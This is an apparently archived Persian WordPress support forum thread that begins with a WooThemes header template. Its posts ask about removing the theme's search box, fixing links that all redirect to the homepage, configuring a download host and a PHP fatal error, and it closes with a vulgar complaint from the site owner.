<?php } ?>
<div class="header">
<div id="logo">
<?php
if ($woo_options['woo_texttitle'] != 'true' ) :
$logo = $woo_options['woo_logo'];
if ( is_ssl() ) { $logo = preg_replace("/^http:/", "https:", $woo_options['woo_logo']); }
?>
<h1>
<a href="<?php echo home_url( '/' ); ?>" title="<?php bloginfo( 'description' ); ?>">
<img src="<?php if ($logo) echo $logo; else { echo get_template_directory_uri(); ?>/images/logo.png<?php } ?>" alt="<?php bloginfo( 'name' ); ?>" />
</a>
</h1>
<?php endif; ?>
<?php if( is_singular() && !is_front_page() ) : ?>
<span class="site-title"><a href="<?php echo home_url( '/' ); ?>"><?php bloginfo( 'name' ); ?></a></span>
<?php else : ?>
<h1 class="site-title"><a href="<?php echo home_url( '/' ); ?>"><?php bloginfo( 'name' ); ?></a></h1>
<?php endif; ?>
<span class="site-description"><?php bloginfo( 'description' ); ?></span>
</div><!-- /#logo -->
<?php woo_nav_before(); ?>
<div id="navigation" class="col-full">
<?php
if ( function_exists( 'has_nav_menu') && has_nav_menu( 'primary-menu') ) {
wp_nav_menu( array( 'depth' => 6, 'sort_column' => 'menu_order', 'container' => 'ul', 'menu_id' => 'main-nav', 'menu_class' => 'nav fl', 'theme_location' => 'primary-menu' ) );
} else {
?>
<ul id="main-nav" class="nav fl">
<?php
if ( isset($woo_options[ 'woo_custom_nav_menu' ]) AND $woo_options[ 'woo_custom_nav_menu' ] == 'true' ) {
if ( function_exists( 'woo_custom_navigation_output') )
woo_custom_navigation_output();
} else { ?>
<?php if ( is_page() ) $highlight = "page_item"; else $highlight = "page_item current_page_item"; ?>
<li class="<?php echo $highlight; ?>"><a href="<?php echo home_url( '/' ); ?>"><?php _e( 'Home', 'woothemes' ) ?></a></li>
<?php
wp_list_pages( 'sort_column=menu_order&depth=6&title_li=&exclude=' );
}
?>
</ul><!-- /#nav -->
<?php } ?>
<?php woo_nav_after(); ?>
</div><!-- /#navigation -->
</div>
<div id="container" class="col-full">
<?php woo_content_before(); ?> -
سلام
می خوام سرچ بالای قالب رو بردام از کجا باید این کار رو بکنم اینم ادرس سایتم
-
سلام
یک فایل به نام
category.php
و کدهای قالبت رو توش ذخیره کن
<?php
global $wp_query;
query_posts( array(
'showposts' => 8,
'paged' => $paged ,
'order' => 'ASC'
)
);?>کدهای قالب رو توش ذخیره کنم دقیقا یعنی چی چی کدی رو میگید قالب کلی کد دارد اسم فایل بگید مثلا single.php
-
سلام
من ادرس هاست دانلود رو میزنم قبول نمی کنه
ftp.dl2.p30msb.ir
هاست دانلودم دایرکت ادمین هست
-
سلام
منم می خوام تعدادمطالب صفحه اصلی 5 تا باشه و لی در صفحات بعدی 10 تا چکار باید بکنم
-
سلام
ببخشید دوستان کسی نرم افزاری میشناسه به جز فایلزیلا که بشه باهاش به هاست دانلود وصل شی ولی نتونی فایلی رو پاک کنی یا تغییر نام بدی فقط بشه لینک دانلود فایل رو گرفت و دید حجمش چقدره
اگه کسی میشناسه معرفی کنه ممنون
-
سلام فکر کنم فهمیدم مشکل چی بود
من از سایت مسبی کد تبلیغات گرفتم وقتی اونها رو قرار دادم این طوری شد الان پاک کردم درست شد
-
سلام وجود دارند این فایلهایی که گفتید
الان این پست ادامه مطلبش کار میکنه
درضمن دوستان سایت تا دیروز خوب بود امروز صبح دیدم این طوری شده
این قالب خیلیوقته روش است
سلام
بررسی کنید فایلهای single.php و page.php در فایلهای قالبتون وجود دارن یا نه ، چون الان ریدایرکت نمیشه بلکه نمیتونه ادامه مطلب رو نشون بده ...
سلام وجود دارند این فایلهایی که گفتید
-
-
با سلام
من یک سایت دانلود دارم ادرس شم http://www.p30msb.ir
است نمی دونم چی شده تمام لینکها به صفحه اصلی ریدایرکت میشه حتی روی ادامه مطلب پستها کلیک میکنم
دوباره صفحه اصلی لود میشه خودتون ببینید روی ادامه مطلب هر پستی که می خواهید کلیکک کنید
کسی میتونه کمک کنه تا درستش کنم
-
سلام
ببخشید من وقتی ادرس هاست دانلود dl.p30msb.ir رو میزنم فایلها رو نشون میده من میخوام ریدایرکت بشه به سایت اصلی p30msb.ir
چکار کنم
-
آپدیت کردم به آخر
-
ممنون بای
-
کسی هست بتون درستش کنه الان پست میفرستم مینوبیسه
Fatal error: Call to undefined function wp_unslash() in /home3/pmsbir/public_html/wp-admin/includes/post.php on line 729
برداشتن سرچ قالب
در بایگانی
ارسال شده در · ویرایش شده توسط p30msb
دوتا راهنمایی کردی که اونم به جایی نرسید
سرچ رو که من با بزرگ کردن لوگو مخفی کردم اصلا اون کدی که گفتی بیا ببین هست
دزد اونی هایی هستند که 3000 هزار میلیارد رو با هم میربن بقیه تخمش نیستن
نه منی که برای در اوردن خرج زندگی و دانشگام کونم داره پاره میشه
فهمیدی